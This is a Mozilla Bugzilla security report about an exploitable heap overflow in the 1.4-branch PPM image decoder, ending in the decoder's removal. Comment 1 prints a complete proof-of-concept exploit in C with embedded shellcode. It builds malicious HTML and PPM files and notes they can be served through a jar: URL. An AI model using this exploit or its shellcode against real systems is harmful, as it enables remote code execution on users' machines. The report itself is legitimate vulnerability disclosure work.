Last Comment Bug 220721 - exploitable heap corruption via PPM module
: exploitable heap corruption via PPM module
Status: VERIFIED FIXED
[sg:fix]
: fixed1.4.2
Product: Core
Classification: Components
Component: ImageLib (show other bugs)
: 1.4 Branch
: x86 Linux
: -- critical (vote)
: ---
Assigned To: Jim Dunn
: Terri Preston
:
Mentors:
Depends on:
Blocks:
  Show dependency treegraph
 
Reported: 2003-09-29 16:59 PDT by Daniel Veditz [:dveditz]
Modified: 2004-07-22 02:35 PDT (History)
8 users (show)
dveditz: blocking1.4.2+
See Also:
Crash Signature:
(edit)
QA Whiteboard:
Iteration: ---
Points: ---
Has Regression Range: ---
Has STR: ---


Attachments

Description Daniel Veditz [:dveditz] 2003-09-29 16:59:06 PDT
From our pal zen-parse:

Issue details:
Example file that crashes Netscape.

===BEGIN===
P1 
0 100
111111111111111111111111111
====END====

(This is an 'image/x-portable-bitmap' type file).



modules/libpr0n/decoders/ppm/nsPPMDecoder.cpp:

      mImage->Init(mWidth, mHeight, mObserver);
      if (mObserver)
        mObserver->OnStartContainer(nsnull, mImage);
      mFrame->Init(0, 0, mWidth, mHeight,
GfxIFormats::RGB, 24);


No check is made that the Init()s succeeded.


Adding a
        NS_ENSURE_SUCCESS(rv, rv);
after each would help.


NS_METHOD nsPPMDecoder::checkSendRow()

This function checks

mRowDataFill == mBytesPerRow

as the condition for end of row AFTER incrementing
mRowDataFill.

In this case, mBytesPerRow is 0 while mRowDataFill
is 1. The condition isn't met, so there is an
overflow.

Using this it is possible to manipulate the malloc
structure for mRowData, and other data on the heap. 

A carefully contructed website or email could
potentially exploit this problem to execute
commands with the local user's permissions.

I have successfully inserted controlled values
into registers used in heap manipulation functions.
Comment 1 Daniel Veditz [:dveditz] 2003-09-29 17:04:11 PDT
Follow-up from zen-parse with exploit details on Linux, he thinks windows is
vulnerable as well. Can someone test this on Linux?

Issue details:
Code creates ~/.mashrc

make peppermint; ./peppermint return_address [GOT
of PR_Free]

eg:
./peppermint 0x44524f42
./peppermint 0xdeadbeef 0xc0cac01a

generates multiple files:

cute.html - Shellcode loader which refreshes to
cuter.html
cuter.html - HTML document holding cute.ppm
cute.ppm - the malformed image
ugly.ppm - the shellcode. 

These files can be zipped down to about 100k, and
then referenced by a jar: url to exploit.


====BEGIN====

/*
 * Proof of concept exploit code for PPM handler vuln.
 * zen-parse Mon 29 September 2003 10.23am NZST
 * peppermint.c
 */

#include <stdio.h>

/* address of free in libnspr4.so on RH8.0        */
/* 1st == ./netscape -g -d ldd |grep nspr4        */
/* 2nd == objdump -R libnspr4.so |grep PR_Free    */
/* 3rd == -12 which is a fixed offset             */

#define GOT 0x40096000 + 0x00031e04 - 12


char sc[]=
"\xeb\x02\xeb\x0d\xe8\xf9\xff\xff\xff\x90\x90\x90\x90\x90\x90\x90"
"\x90\x58\x8b\x18\x85\xdb\x75\x02\xeb\xfe\x31\xdb\x89\x18\xbc\xe0"
"\xff\xff\xbf\x89\xe6\xbb\x01\x48\x4f\x4d\x4b\x4e\x8b\x0e\x39\xcb"
"\x75\xf9\xbb\x4f\x4d\x45\x3d\x46\x46\x8b\x0e\x39\xcb\x74\x04\x4e"
"\x4e\xeb\xe2\xc7\x06\xef\xbe\xad\xde\x81\x2e\xef\xbe\xad\xde\x46"
"\x46\x46\x46\x89\xf7\x46\x8b\x0e\x84\xc9\x75\xf9\xc7\x06\x2f\x2e"
"\x6d\x61\x46\x46\x46\x46\xc7\x06\x73\x68\x72\x63\x46\x46\x46\x46"
"\xc7\x06\xef\xbe\xad\xde\x81\x2e\xef\xbe\xad\xde\x31\xc0\x31\xc9"
"\x31\xd2\x89\xfb\x04\x0a\xcd\x80\x31\xc0\x04\x05\x80\xc1\x41\x66"
"\x81\xc2\xb0\x01\xcd\x80\x89\xc6\x40\x85\xc0\x74\x17\xeb\x1a\x59"
"\x89\xf3\x31\xd2\xb2\x50\x31\xc0\x04\x04\xcd\x80\x89\xf3\x31\xc0"
"\x04\x06\xcd\x80\x31\xc0\x40\xcd\x80\xe8\xe1\xff\xff\xff\x23\x73"
"\x6f\x6d\x65\x20\x72\x61\x6e\x64\x6f\x6d\x20\x63\x6f\x6d\x6d\x61"
"\x6e\x64\x73\x0a\x74\x6f\x75\x63\x68\x20\x2f\x76\x61\x72\x2f\x74"
"\x6d\x70\x2f\x6f\x77\x6e\x65\x64\x2e\x60\x77\x68\x6f\x61\x6d\x69"
"\x60\x0a\x65\x78\x69\x74\x0a\x7a\x65\x6e\x2d\x70\x61\x72\x73\x65"
"\x20\x6f\x77\x6e\x65\x64\x20\x79\x6f\x75\x2e\x2e\x2e\x0a";

char buf[40960];
char ubuf[40960];

main(int argc, char *argv[])
{
 FILE *p;
 union
 {
  int i;
  char c[4];
 } r,g;
 int c,d;

 if(argc<2)exit(1);
 r.i=strtoul(argv[1],0,0);
 g.i=(argc!=3)?GOT: strtoul(argv[2],0,0)-12;

 unlink("cute.ppm");
 p=fopen("cute.ppm","w");
 if(!p)exit(1);
 fprintf(p,"P3 0 100 255\n");
 fprintf(p,"0 0 0 0\n0 0 0 0\n0 0 0 0\n0 0 0 0\n");
 fprintf(p,"%hhu %hhu %hhu
%hhu\n",g.c[0],g.c[1],g.c[2],g.c[3]);
 fprintf(p,"%hhu %hhu %hhu
%hhu\n",r.c[0],r.c[1],r.c[2],r.c[3]);
 fclose(p);
 unlink("cute.html");
 p=fopen("cute.html","w");
 if(!p)exit(1);
 fprintf(p,"<html>\n");
 fprintf(p,"<head>\n");
 fprintf(p,"<meta HTTP-EQUIV=\"Refresh\"
content=\"4; URL=cuter.html\">\n");
 fprintf(p,"<title>Proof of concept for PPM
bug</title>\n");
 for(c=0;c<3000-strlen(sc) - 0x40;c+=2)
 {
  buf[c+0]=0xeb;
  buf[c+1]=0x40;
 }
 fprintf(p,"</head>\n");
 fprintf(p,"<body>");
 fprintf(p,"<img src=ugly.ppm>");
 fprintf(p,"</body></html>");
 fclose(p);
 for(;c<3000-strlen(sc);c++) buf[c]=0x40;
 strcat(buf,sc);

 unlink("ugly.ppm");
 p=fopen("ugly.ppm","w");
 if(!p)exit(1);
 fprintf(p,"P6 2000 8192 255\n");
 for(c=0;c<8192*2;c++)
 {
  fprintf(p,"%s",buf);
 }

 fclose(p);

 unlink("cuter.html");
 p=fopen("cuter.html","w");
 if(!p)exit(1);

 fprintf(p,"<html>\n");
 fprintf(p,"<head>\n");
 fprintf(p,"<title>Proof of concept for PPM bug :
boom</title>\n");
 fprintf(p,"</head>\n");
 fprintf(p,"<body>");
 for(c=0;c<100;c++)
 {
  fprintf(p,"<img src=cute.ppm>");
 }
 fprintf(p,"</body></html>");
}

=====END=====
Comment 2 Daniel Veditz [:dveditz] 2003-09-29 17:34:44 PDT
Updating version to 1.4 branch -- PPM was removed from the trunk early in 1.5
Comment 3 Christian :Biesinger (don't email me, ping me on IRC) 2003-09-30 04:24:37 PDT
personally, I'd fix this by removing the PPM decoder from the 1.4 branch as
well. it's not exactly used much.
Comment 4 Mike Kaply [:mkaply] 2003-12-15 15:07:42 PST
OK, I'm going to remove ppm from the 1.4.2 branch. Any objections?
Comment 5 Mike Kaply [:mkaply] 2003-12-16 08:11:06 PST
PPM removed from the branch.
Comment 6 Tracy Walker [:tracy] 2004-06-02 09:51:56 PDT
verified... PPM module no longer available to be corrupted
Comment 7 Daniel Veditz [:dveditz] 2004-07-22 02:35:57 PDT
Removing security-sensitive flag for bugs on the known-vulnerabilities list

Note You need to log in before you can comment on or make changes to this bug.